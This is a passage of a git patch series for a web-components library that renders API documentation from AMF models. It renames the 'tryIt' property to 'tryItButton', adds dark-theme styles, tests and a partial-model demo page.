set then the try it button in operations is rendered. +- `inlineMethods` is renamed to `tryItPanel`. Has the same function. - `noUrlEditor` is now renamed to `urlEditor`. When `urlEditor` is set then the HTTP request editor renders the URL editor input field. + +### ApiOperationDocumentElement (former api-operation-documentation) + +- `tryIt` is renamed to `tryItButton` +- `tryItButton` is always set to `false` when `tryItPanel` is set on the resource document element. diff --git a/demo/api-documentation-document.js b/demo/api-documentation-document.js index 4a79946..58c6f72 100644 --- a/demo/api-documentation-document.js +++ b/demo/api-documentation-document.js @@ -15,6 +15,8 @@ class ComponentPage extends AmfDemoBase { this.loaded = false; this.selectedId = undefined; this.selectedType = undefined; + this.endpointsOpened = false; + this.docsOpened = true; } /** @@ -81,6 +83,21 @@ class ComponentPage extends AmfDemoBase { `; } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['async-api', 'Async API'], + ['Petstore-v2', 'Petstore OAS API'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} + `; + }); + return result; + } } const instance = new ComponentPage(); instance.render(); diff --git a/demo/api-documentation.js b/demo/api-documentation.js index 361375b..404158d 100644 --- a/demo/api-documentation.js +++ b/demo/api-documentation.js @@ -255,8 +255,6 @@ class ComponentDemo extends ApiDemoPage { - -

    API documentation

    ${this._demoTemplate()} diff --git a/demo/api-operation.js b/demo/api-operation.js index e8b30a4..ab7abb3 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -162,7 +162,7 @@ class ComponentPage extends AmfDemoBase { .baseUri="${finalBaseUri}" .serverId="${serverId}" slot="content" - ?tryIt="${tryIt}" + ?tryItButton="${tryIt}" ?renderCodeSnippets="${renderCodeSnippets}" ?renderSecurity="${renderSecurity}" ?anypoint="${this.compatibility}" diff --git a/demo/demo.css b/demo/demo.css index 40347a7..940c994 100644 --- a/demo/demo.css +++ b/demo/demo.css @@ -67,7 +67,7 @@ body.demo.styled { --anypoint-tabs-selection-bar-color: var(--primary-color); } -body.demo.styled.dark { +body.demo.styled.api.dark { --primary-color: #ffcc80; --primary-text-color: #fff; --accent-color: #E040FB; @@ -75,6 +75,7 @@ body.demo.styled.dark { --primary-background-color: #212121; --secondary-background-color: #313131; --error-color: #ff9090; + --error-message-color: var(--error-color); --link-color: #8bc34a; --input-background-color: var(--primary-background-color); --active-background-color: #616161; @@ -89,6 +90,16 @@ body.demo.styled.dark { --anypoint-input-legacy-focus-border-color: #178bea; --anypoint-input-info-message-color: var(--primary-text-color); + --anypoint-dropdown-menu-background-color: #494949; + --anypoint-dropdown-menu-label-background-color: var(--primary-background-color); + --anypoint-listbox-background-color: #494949; + --anypoint-dropdown-menu-focus-background-color: #9E9E9E; + --anypoint-dropdown-menu-label-color: #fff; + --anypoint-dropdown-menu-info-message-color: #fff; + --anypoint-item-hover-background-color: #9E9E9E; + --anypoint-item-focused-background-color: var(--primary-background-color); + --anypoint-icon-button-emphasis-low-color: #fff; + /* HTTP method colors */ --http-get-color: #c6f68d; --http-post-color: #b39afd; @@ -113,4 +124,39 @@ body.demo.styled.dark { --http-method-label-head-color: var(--primary-text-color); --http-method-label-patch-background-color: var(--http-patch-color); --http-method-label-patch-color: #000; + + --operation-params-title-color: var(--primary-text-color); + --operation-subheader-color: var(--secondary-text-color); + --operation-description-color: var(--secondary-text-color); + + --resource-subheader-color: var(--secondary-text-color); + --security-subheader-color: var(--secondary-text-color); + --pill-color: #000; + + --markdown-styles-code-text-shadow: none; + --markdown-styles-h6-color: var(--secondary-text-color); + --markdown-styles-table-row-background-color: var(--primary-background-color); + --markdown-styles-table-even-row-background-color: var(--secondary-background-color); + + --code-color: var(--primary-text-color); + --code-background-color: #202020; + --code-punctuation-value-color: var(--code-color); + + --api-annotation-document-color: var(--primary-text-color); + --api-annotation-background-color: var(--primary-background-color); + --api-body-document-description-color: var(--primary-text-color); + + --api-endpoint-url-background-color: var(--primary-background-color); + --api-endpoint-url-color: var(--primary-text-color); + + --http-code-snippet-code-text-shadow: var(--primary-text-color); + --http-code-snippet-container-background-color: var(--code-background-color); + --http-code-snippet-code-function-color: #82AAFF; + --http-code-snippet-code-keyword-color: #C792EA; + --http-code-snippet-code-cdata-color: #adb9c5; + + --resource-tryit-background-color: var(--code-background-color); + --resource-tryit-panels-background-color: transparent; + --error-message-icon-color: #cccccc; + --error-message-code-color: var(--secondary-text-color); } diff --git a/package.json b/package.json index 411c9c3..d05d48e 100644 --- a/package.json +++ b/package.json @@ -84,7 +84,8 @@ "lint:types": "tsc", "lint": "npm run lint:eslint", "format": "npm run format:eslint", - "test": "web-test-runner test/**/*.test.js --coverage --node-resolve --playwright --browsers chromium firefox webkit", + "test": "web-test-runner test/**/*.test.js --coverage --node-resolve --playwright --browsers chromium webkit", + "test:all": "web-test-runner test/**/*.test.js --coverage --node-resolve --playwright --browsers chromium firefox webkit", "test:watch": "web-test-runner --node-resolve --watch --playwright --browsers chromium", "gen:wc": "wca analyze \"*.js\" --outFile custom-elements.json", "prepare": "node demo/model.mjs" diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js index 95ccdc6..b050d6c 100644 --- a/src/elements/ApiOperationDocumentElement.js +++ b/src/elements/ApiOperationDocumentElement.js @@ -265,7 +265,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { /** * When set it renders the "try it" button that dispatches the `tryit` event. */ - tryIt: { type: Boolean, reflect: true }, + tryItButton: { type: Boolean, reflect: true }, /** * When set it renders the view optimised for asynchronous API operation. */ @@ -318,7 +318,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { /** @type {boolean} */ this.snippetsOpened = undefined; /** @type {boolean} */ - this.tryIt = undefined; + this.tryItButton = undefined; /** @type {boolean} */ this.asyncApi = undefined; /** @type {boolean} */ @@ -1017,7 +1017,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { * @returns {TemplateResult|string} The template for the "try it" button. */ [tryItTemplate]() { - if (!this.tryIt) { + if (!this.tryItButton) { return ''; } return html` diff --git a/src/elements/ApiResourceDocumentationElement.js b/src/elements/ApiResourceDocumentationElement.js index 0a2bd3e..d99668b 100644 --- a/src/elements/ApiResourceDocumentationElement.js +++ b/src/elements/ApiResourceDocumentationElement.js @@ -46,11 +46,14 @@ export const selectServer = Symbol('selectServer'); export const processServerSelection = Symbol('processServerSelection'); export const extensionsTemplate = Symbol('extensionsTemplate'); export const tryItColumnTemplate = Symbol('tryItColumnTemplate'); -export const tryItPanelTemplate = Symbol('tryItPanelTemplate'); +export const httpRequestTemplate = Symbol('tryItPanelTemplate'); export const codeSnippetsPanelTemplate = Symbol('codeSnippetsPanelTemplate'); export const requestChangeHandler = Symbol('requestChangeHandler'); export const requestValues = Symbol('requestValues'); export const collectCodeSnippets = Symbol('collectCodeSnippets'); +export const processSelectionTimeout = Symbol('processSelectionTimeout'); +export const extendsTemplate = Symbol('extendsTemplate'); +export const traitsTemplate = Symbol('traitsTemplate'); /** * A web component that renders the resource documentation page for an API resource built from @@ -141,6 +144,13 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas this.requestUpdate(); } + /** + * @returns {ApiServer[]} The list of the servers read from the API and the endpoint. + */ + get servers() { + return this[serversValue]; + } + /** * @returns {string|undefined} The list of protocols to render. */ @@ -173,6 +183,13 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas this.requestUpdate(); } + /** + * @returns {string|undefined} The computed URI for the endpoint. + */ + get endpointUri() { + return this[urlValue]; + } + static get properties() { return { /** @@ -325,6 +342,26 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas this[requestValues] = {}; } + disconnectedCallback() { + if (this[processSelectionTimeout]) { + clearTimeout(this[processSelectionTimeout]); + this[processSelectionTimeout] = undefined; + } + super.disconnectedCallback(); + } + + /** + * Scrolls the view to the operation, when present in the DOM. + * @param {string} id The operation domain id to scroll into. + */ + scrollToOperation(id) { + const elm = this.shadowRoot.querySelector(`api-operation-document[data-domain-id="${id}"]`); + if (!elm) { + return; + } + elm.scrollIntoView({block: 'start', inline: 'nearest', behavior: 'smooth'}); + } + /** * @returns {Promise} */ @@ -345,27 +382,18 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas await this[queryServers](); this[computeUrlValue](); await this.requestUpdate(); - if (this.operationId) { - // this timeout gives few milliseconds for the operations to render. - setTimeout(() => { - this[collectCodeSnippets](); - // Todo: operations should inform the parent that the view is rendered - // and after that this function should be called. - this.scrollToOperation(this.operationId); - }, 200); - } - } - - /** - * Scrolls the view to the operation, when present in the DOM. - * @param {string} id The operation domain id to scroll into. - */ - scrollToOperation(id) { - const elm = this.shadowRoot.querySelector(`api-operation-document[data-domain-id="${id}"]`); - if (!elm) { - return; + if (this[processSelectionTimeout]) { + clearTimeout(this[processSelectionTimeout]); + this[processSelectionTimeout] = undefined; } - elm.scrollIntoView({block: 'start', inline: 'nearest', behavior: 'smooth'}); + // this timeout gives few milliseconds for operations to render. + this[processSelectionTimeout] = setTimeout(() => { + this[processSelectionTimeout] = undefined; + this[collectCodeSnippets](); + if (this.operationId) { + this.scrollToOperation(this.operationId); + } + }, 200); } /** @@ -436,6 +464,9 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas */ [collectCodeSnippets]() { const panels = this.shadowRoot.querySelectorAll('api-request-panel'); + if (!panels.length) { + return; + } Array.from(panels).forEach((panel) => { const { requestId } = panel.dataset; if (!requestId) { @@ -544,7 +575,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas .baseUri="${baseUri}" ?anypoint="${this.anypoint}" data-domain-id="${operation.id}" - ?tryIt="${renderTryIt}" + ?tryItButton="${renderTryIt}" responsesOpened renderSecurity ?renderCodeSnippets="${!tryItPanel}" @@ -567,7 +598,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas return html`
    - ${this[tryItPanelTemplate](operation)} + ${this[httpRequestTemplate](operation)} ${this[codeSnippetsPanelTemplate](operation)}
    @@ -578,7 +609,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas * @param {ApiOperation} operation The operation to render. * @returns {TemplateResult} The template for the request editor. */ - [tryItPanelTemplate](operation) { + [httpRequestTemplate](operation) { const content = html` - ${typeLabel ? html`Implements ${typeLabel}.` : ''} - ${traitsLabel ? html`Mixes in ${traitsLabel}.` : ''} + ${this[extendsTemplate](typeLabel)} ${this[traitsTemplate](traitsLabel)} `; } + + /** + * @param {string} label + * @returns {TemplateResult|string} The template for the parent resource type. + */ + [extendsTemplate](label) { + if (!label) { + return ''; + } + return html`Implements ${label}.`; + } + + /** + * @param {string} label + * @returns {TemplateResult|string} The template for the traits applied to the resource. + */ + [traitsTemplate](label) { + if (!label) { + return ''; + } + return html`Mixes in ${label}.`; + } } diff --git a/src/elements/styles/ApiOperation.js b/src/elements/styles/ApiOperation.js index a187f30..8bedd08 100644 --- a/src/elements/styles/ApiOperation.js +++ b/src/elements/styles/ApiOperation.js @@ -33,14 +33,14 @@ export default css` } .summary { - color: var(--api-operation-documentation-description-color, var(--api-method-documentation-description-color, rgba(0, 0, 0, 0.74))); + color: var(--operation-description-color, var(--api-method-documentation-description-color, rgba(0, 0, 0, 0.74))); font-size: 1.1rem; } .callback-section { margin: 12px 0; padding: 8px; - background-color: var(--api-operation-callback-background-color, var(--api-method-documentation-callback-background-color, #f7f7f7)); + background-color: var(--operation-callback-background-color, var(--api-method-documentation-callback-background-color, #f7f7f7)); } .extensions { @@ -49,11 +49,11 @@ export default css` } .method-response { - padding-left: var(--api-operation-documentation-responses-padding-left, var(--api-responses-method-padding-left, 20px)); - padding-right: var(--api-operation-documentation-responses-padding-right, var(--api-responses-method-padding-right, 20px)); + padding-left: var(--operation-responses-padding-left, var(--api-responses-method-padding-left, 20px)); + padding-right: var(--operation-responses-padding-right, var(--api-responses-method-padding-right, 20px)); } .codes-selector-divider { - border-bottom: 1px var(--api-operation-documentation-response-codes-selector-divider-border-bottom-color, var(--api-responses-document-codes-selector-divider-border-bottom-color, #e5e5e5)) solid; + border-bottom: 1px var(--operation-response-codes-selector-divider-border-bottom-color, var(--api-responses-document-codes-selector-divider-border-bottom-color, #e5e5e5)) solid; } `; diff --git a/src/elements/styles/Common.js b/src/elements/styles/Common.js index 66e2629..2d02eb0 100644 --- a/src/elements/styles/Common.js +++ b/src/elements/styles/Common.js @@ -102,7 +102,7 @@ export default css` margin: 12px 0; padding: 12px 8px; background-color: var(--deprecated-message-background-color, #ffc107); - color: var(--deprecated-message-color, var(--primary-text-color, #000)); + color: var(--deprecated-message-color, #000); display: flex; align-items: center; border-radius: 4px; diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js index 5336a4d..5e9b931 100644 --- a/test/elements/ApiOperationDocumentElement.test.js +++ b/test/elements/ApiOperationDocumentElement.test.js @@ -40,7 +40,7 @@ describe('ApiOperationDocumentElement', () => { .queryDebouncerTimeout="${0}" .amf="${amf}" .domainModel="${shape}" - tryIt + tryItButton >`); await aTimeout(0); return /** @type ApiOperationDocumentElement */ (element); diff --git a/test/elements/ApiResourceDocumentationElement.test.js b/test/elements/ApiResourceDocumentationElement.test.js index 4388c36..c16ecbc 100644 --- a/test/elements/ApiResourceDocumentationElement.test.js +++ b/test/elements/ApiResourceDocumentationElement.test.js @@ -1,5 +1,7 @@ -import { fixture, assert, html, aTimeout } from '@open-wc/testing'; +import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing'; +import { requestValues } from '../../src/elements/ApiResourceDocumentationElement.js'; import { AmfLoader } from '../AmfLoader.js'; +import { loadMonaco } from '../MonacoSetup.js'; import '../../api-resource-document.js'; /** @typedef {import('../../').ApiResourceDocumentationElement} ApiResourceDocumentationElement */ @@ -10,16 +12,20 @@ import '../../api-resource-document.js'; describe('ApiResourceDocumentationElement', () => { const loader = new AmfLoader(); + before(async () => loadMonaco()); + /** * @param {AmfDocument} amf * @param {string=} domainId + * @param {string=} operationId * @returns {Promise} */ - async function basicFixture(amf, domainId) { + async function basicFixture(amf, domainId, operationId) { const element = await fixture(html``); await aTimeout(0); return /** @type ApiResourceDocumentationElement */ (element); @@ -41,6 +47,22 @@ describe('ApiResourceDocumentationElement', () => { return /** @type ApiResourceDocumentationElement */ (element); } + /** + * @param {AmfDocument} amf + * @param {string=} domainId + * @returns {Promise} + */ + async function tryItPanelFixture(amf, domainId) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiResourceDocumentationElement */ (element); + } + [false, true].forEach((compact) => { /** @type AmfDocument */ let demoModel; @@ -54,6 +76,46 @@ describe('ApiResourceDocumentationElement', () => { petStoreModel = await loader.getGraph(compact, 'Petstore-v2'); }); + describe('graph processing', () => { + it('sets the endpoint value', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + + const { endpoint } = element; + assert.typeOf(endpoint, 'object', 'has the endpoint'); + assert.equal(endpoint.path, '/messages', 'has the endpoint model'); + }); + + it('sets the endpointUri value', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + + const { endpointUri } = element; + assert.equal(endpointUri, 'http://{instance}.domain.com/messages'); + }); + + it('sets the servers value', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + + const { servers } = element; + assert.typeOf(servers, 'array', 'has the servers array'); + assert.lengthOf(servers, 1, 'has a single server'); + const [srv] = servers; + assert.equal(srv.url, 'http://{instance}.domain.com/', 'has the server model'); + }); + + // this is unreliable... + it.skip('scrolls to the selected operation when initializing', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const op = loader.getOperation(demoModel, '/people', 'put'); + await basicFixture(demoModel, data['@id'], op.id); + assert.equal(window.scrollY, 0, 'initial scroll is 0'); + await aTimeout(400); + assert.notEqual(window.scrollY, 0, 'the window is scrolled') + }); + }); + describe('title are rendering', () => { it('renders the endpoint name, when defined', async () => { const data = loader.lookupEndpoint(demoModel, '/people'); @@ -113,15 +175,15 @@ describe('ApiResourceDocumentationElement', () => { }); it('renders traits extension', async () => { - const data = loader.lookupEndpoint(asyncModel, '/orgs/{orgId}'); - const element = await basicFixture(asyncModel, data['@id']); + const data = loader.lookupEndpoint(demoModel, '/orgs/{orgId}'); + const element = await basicFixture(demoModel, data['@id']); const value = element.shadowRoot.querySelector('.extensions'); assert.equal(value.textContent.trim(), 'Mixes in RateLimited.'); }); it('renders both the traits and the response type extension', async () => { - const data = loader.lookupEndpoint(asyncModel, '/people'); - const element = await basicFixture(asyncModel, data['@id']); + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await basicFixture(demoModel, data['@id']); const value = element.shadowRoot.querySelector('.extensions'); assert.equal(value.textContent.trim(), 'Implements RequestErrorResponse. Mixes in RateLimited.'); }); @@ -138,11 +200,109 @@ describe('ApiResourceDocumentationElement', () => { }); it('renders traits extension', async () => { - const data = loader.lookupEndpoint(asyncModel, '/people'); - const element = await basicFixture(asyncModel, data['@id']); + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await basicFixture(demoModel, data['@id']); const desc = element.shadowRoot.querySelector('.api-description'); assert.notOk(desc, 'has no description'); }); }); + + describe('renders operations', () => { + it('renders all operations in the endpoint', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await basicFixture(demoModel, data['@id']); + const elements = element.shadowRoot.querySelectorAll('api-operation-document'); + assert.lengthOf(elements, 3); + }); + + it('sets a minimum properties', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + const op = element.shadowRoot.querySelector('api-operation-document'); + assert.typeOf(op.amf, 'object', 'amf is set') + assert.typeOf(op.domainId, 'string', 'domainId is set') + assert.typeOf(op.dataset.domainId, 'string', 'domainId is set') + assert.isTrue(op.responsesOpened, 'responsesOpened is set') + assert.isTrue(op.renderSecurity, 'renderSecurity is set') + }); + + it('sets the baseUri', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + element.baseUri = 'https://api.domain.com'; + await nextFrame(); + const op = element.shadowRoot.querySelector('api-operation-document'); + assert.equal(op.baseUri, 'https://api.domain.com'); + }); + + it('sets the tryItButton', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + element.tryItButton = true; + await nextFrame(); + const op = element.shadowRoot.querySelector('api-operation-document'); + assert.isTrue(op.tryItButton); + }); + + it('always sets tryItButton to false when tryItPanel is set', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + element.tryItButton = true; + element.tryItPanel = true; + await nextFrame(); + const op = element.shadowRoot.querySelector('api-operation-document'); + assert.notOk(op.tryItButton); + });`` + + it('sets the asyncApi', async () => { + const data = loader.lookupEndpoint(demoModel, '/messages'); + const element = await basicFixture(demoModel, data['@id']); + element.asyncApi = true; + await nextFrame(); + const op = element.shadowRoot.querySelector('api-operation-document'); + assert.isTrue(op.asyncApi); + }); + }); + + describe('Rendering HTTP editors', () => { + it('renders HTTP request editors for all operations', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await tryItPanelFixture(demoModel, data['@id']); + const elements = element.shadowRoot.querySelectorAll('api-request-panel'); + assert.lengthOf(elements, 3); + }); + + it('collects request panel values for the code snippets', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await tryItPanelFixture(demoModel, data['@id']); + await aTimeout(201); + const values = element[requestValues]; + assert.typeOf(values, 'object', 'has the [requestValues] property'); + assert.lengthOf(Object.keys(values), 3, 'has values for each request'); + }); + + it('renders the code snippets', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await tryItPanelFixture(demoModel, data['@id']); + await aTimeout(201); + const elements = element.shadowRoot.querySelectorAll('http-code-snippets'); + assert.lengthOf(elements, 3); + }); + + it('sets the initial request values on the code snippets', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await tryItPanelFixture(demoModel, data['@id']); + await aTimeout(201); + const editor = element.shadowRoot.querySelector('api-request-panel'); + const { selected } = editor; + const values = element[requestValues][selected]; + assert.typeOf(values, 'object', 'has values for a request editor'); + const snippets = editor.parentElement.querySelector('http-code-snippets'); + assert.equal(snippets.url, values.url, 'snippets.url is set'); + assert.equal(snippets.method, values.method, 'snippets.method is set'); + assert.equal(snippets.headers, values.headers, 'snippets.headers is set'); + assert.equal(snippets.payload, values.payload, 'snippets.payload is set'); + }); + }); }); }); From 8f86ed5f60e604ebe6abe8bf0ee131191e9cb323 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Fri, 8 Oct 2021 12:15:31 -0700 Subject: [PATCH 24/24] feat: adding api-documentation and partial models Signed-off-by: Pawel Psztyc --- .github/workflows/deployment.yml | 9 +- TODO.md | 4 +- api-documentation.d.ts | 4 +- api-documentation.js | 4 +- demo/api-documentation-partial.html | 16 + demo/api-documentation-partial.js | 350 ++++++ demo/api-documentation.html | 200 +-- demo/api-documentation.js | 383 +++--- demo/apis/partial-model/documentation.json | 16 - demo/apis/partial-model/endpoint.json | 906 -------------- demo/apis/partial-model/security.json | 69 -- demo/apis/partial-model/type.json | 91 -- demo/index.html | 4 + demo/lib/AmfDemoBase.js | 1 + demo/lib/AmfPartialGraphStore.js | 530 ++++++++ package-lock.json | 63 +- package.json | 4 +- src/elements/ApiDocumentationBase.d.ts | 6 + src/elements/ApiDocumentationElement.js | 807 ++++++++++++ src/elements/ApiOperationDocumentElement.js | 54 +- src/elements/styles/ApiDocumentation.js | 11 + src/old/ApiDocumentationElement.d.ts | 501 -------- src/old/ApiDocumentationElement.js | 1236 ------------------- 23 files changed, 2005 insertions(+), 3264 deletions(-) create mode 100644 demo/api-documentation-partial.html create mode 100644 demo/api-documentation-partial.js delete mode 100644 demo/apis/partial-model/documentation.json delete mode 100644 demo/apis/partial-model/endpoint.json delete mode 100644 demo/apis/partial-model/security.json delete mode 100644 demo/apis/partial-model/type.json create mode 100644 demo/lib/AmfPartialGraphStore.js create mode 100644 src/elements/ApiDocumentationElement.js create mode 100644 src/elements/styles/ApiDocumentation.js delete mode 100644 src/old/ApiDocumentationElement.d.ts delete mode 100644 src/old/ApiDocumentationElement.js diff --git a/.github/workflows/deployment.yml b/.github/workflows/deployment.yml index a73904c..faf5a55 100644 --- a/.github/workflows/deployment.yml +++ b/.github/workflows/deployment.yml @@ -13,13 +13,8 @@ on: - main jobs: test_linux: - name: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [ubuntu-20.04] - # os: [ubuntu-18.04, ubuntu-20.04] - runs-on: ${{ matrix.os }} + name: Ubuntu + runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - uses: actions/setup-node@v1 diff --git a/TODO.md b/TODO.md index 7c840ec..9df27dd 100644 --- a/TODO.md +++ b/TODO.md @@ -9,8 +9,8 @@ - ~~Sync the Payload template~~ - ~~Render the request editor side-by-side~~ - ~~Fix the `(unknown path)` in the operation~~ -- Rendering of fragments and the partial model -- main `api-documentation` element +- ~~Rendering of fragments and the partial model~~ +- ~~main `api-documentation` element~~ - ~~replace body content type selector with radio buttons like in the request editor~~ - ~~move the `api-summary` element~~ - Tests diff --git a/api-documentation.d.ts b/api-documentation.d.ts index 276d369..9d2788e 100644 --- a/api-documentation.d.ts +++ b/api-documentation.d.ts @@ -1,7 +1,7 @@ -import { ApiDocumentationElement } from './src/ApiDocumentationElement'; +import Element from './src/elements/ApiDocumentationElement'; declare global { interface HTMLElementTagNameMap { - "api-documentation": ApiDocumentationElement; + "api-documentation": Element; } } diff --git a/api-documentation.js b/api-documentation.js index 8dbd086..ca86a39 100644 --- a/api-documentation.js +++ b/api-documentation.js @@ -1,3 +1,3 @@ -import { ApiDocumentationElement } from './src/ApiDocumentationElement.js'; +import Element from './src/elements/ApiDocumentationElement.js'; -window.customElements.define('api-documentation', ApiDocumentationElement); +window.customElements.define('api-documentation', Element); diff --git a/demo/api-documentation-partial.html b/demo/api-documentation-partial.html new file mode 100644 index 0000000..0c079f7 --- /dev/null +++ b/demo/api-documentation-partial.html @@ -0,0 +1,16 @@ + + + + + + + API Documentation + + + + +
    + + + + diff --git a/demo/api-documentation-partial.js b/demo/api-documentation-partial.js new file mode 100644 index 0000000..849d75f --- /dev/null +++ b/demo/api-documentation-partial.js @@ -0,0 +1,350 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js'; +import '@api-components/api-request/api-request-panel.js'; +import '@api-components/api-request/xhr-simple-request.js'; +import '@advanced-rest-client/authorization/oauth2-authorization.js'; +import '@api-components/api-server-selector/api-server-selector.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import { AmfPartialGraphStore } from './lib/AmfPartialGraphStore.js'; +import '../api-documentation.js'; + +/** @typedef {import('lit-html').TemplateResult} TemplateResult */ + +/** + * @param {Event} e + */ +function cancelEvent(e) { + e.preventDefault(); + e.stopPropagation(); + e.stopImmediatePropagation(); +} + +class ComponentDemo extends AmfDemoBase { + constructor() { + super(); + + this.initObservableProperties([ + 'domainId', 'domainType', 'operationId', + 'tryItButton', 'tryItPanel', + 'editorOpened', 'editorOperation', 'overrideBaseUri', + 'serverType', 'serverValue', + 'noServerSelector', 'allowCustomBaseUri', + 'renderCustomServer', + 'summaryModel', 'partialModelDocs' + ]); + this.store = new AmfPartialGraphStore(); + this.componentName = 'api-documentation'; + this.compatibility = false; + this.editorOpened = false; + this.editorOperation = undefined; + this.domainId = undefined; + this.domainType = undefined; + this.operationId = undefined; + this.tryItButton = true; + this.tryItPanel = false; + this.overrideBaseUri = false; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; + // this.redirectUri = 'https://auth.advancedrestclient.com/oauth-popup.html'; + this.renderCustomServer = false; + this.noServerSelector = false; + this.allowCustomBaseUri = false; + this.demoStates = ['Material', 'Anypoint']; + this.summaryModel = undefined; + this.partialModelDocs = undefined; + this.context = undefined; + } + + /** @param {string} file */ + async _loadFile(file) { + this.domainId = 'summary'; + this.domainType = 'summary'; + await super._loadFile(file); + let { amf } = this; + if (Array.isArray(amf)) { + [amf] = amf; + } + this.store.amf = amf; + this.context = amf['@context']; + await this.loadSummary(); + } + + async loadSummary() { + // debugger + const model = this.store.summary(); + this.summaryModel = model; + this.partialModelDocs = model; + console.log(model); + this.render(); + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, endpointId, passive } = e.detail; + if (passive === true) { + return; + } + this.operationId = undefined; + if (type === 'type') { + this.partialModelDocs = this.store.schema(selected, this.context); + this.domainId = selected; + this.domainType = type; + return; + } + if (type === 'security') { + this.partialModelDocs = this.store.securityRequirement(selected, this.context); + this.domainId = selected; + this.domainType = type; + return; + } + if (type === 'endpoint') { + this.partialModelDocs = this.store.endpoint(selected, this.context); + this.domainId = selected; + this.domainType = type; + return + } + if (type === 'method') { + if (!this.partialModelDocs || this.partialModelDocs['@id'] !== endpointId) { + this.partialModelDocs = this.store.endpoint(endpointId, this.context); + } + this.domainId = endpointId; + this.operationId = selected; + this.domainType = type; + return + } + if (type === 'summary') { + this.partialModelDocs = this.summaryModel; + this.domainId = selected; + this.domainType = type; + return; + } + console.log(selected, type, endpointId, passive); + // this.domainType = type; + // if (type === 'method') { + // this.operationId = selected; + // this.domainId = endpointId; + // } else { + // this.operationId = undefined; + // this.domainId = selected; + // } + } + + /** + * @param {CustomEvent} e + */ + tryitHandler(e) { + const { id } = e.detail; + this.editorOperation = id; + this.editorOpened = true; + } + + editorCloseHandler() { + this.editorOperation = undefined; + this.editorOpened = false; + } + + contentTemplate() { + return html` + + +

    API documentation with partial model

    + ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
    +

    Interactive demo

    +

    + This demo lets you preview the API documentation with various configuration options. +

    +
    + ${!loaded ? html`

    Load an API model first.

    ` : this.loadedTemplate()} +
    +
    + `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + ${this.requestEditorDialogTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, } = this; + let finalBaseUri; + if (this.overrideBaseUri) { + finalBaseUri = 'https://custom.api.com'; + } + return html` + + + ${this._addCustomServers()} + + + + + Render try it + + + Render HTTP editor + + + Custom base URI + + + No server selector + + + Allow custom base URI + + + Custom servers + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['multi-server', 'Multiple servers'], + ['array-body', 'Body with array test case'], + ['nexmo-sms-api', 'Nexmo SMS API'], + ['appian-api', 'Applian API'], + ['APIC-15', 'APIC-15'], + ['oauth1-fragment', 'OAuth 1 fragment'], + ['oauth2-fragment', 'OAuth 2 fragment'], + ['documentation-fragment', 'Documentation fragment'], + ['type-fragment', 'Type fragment'], + ['lib-fragment', 'Library fragment'], + ['SE-10469', 'SE-10469'], + ['SE-11415', 'SE-11415'], + ['async-api', 'async-api'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label}`; + }); + return result; + } + + _addCustomServers() { + if (!this.renderCustomServer) { + return ''; + } + const { compatibility } = this; + return html` +
    Other options
    + Mocking service + Custom instance`; + } + + requestEditorDialogTemplate() { + return html` + +

    API request

    + + + + +
    + Close +
    +
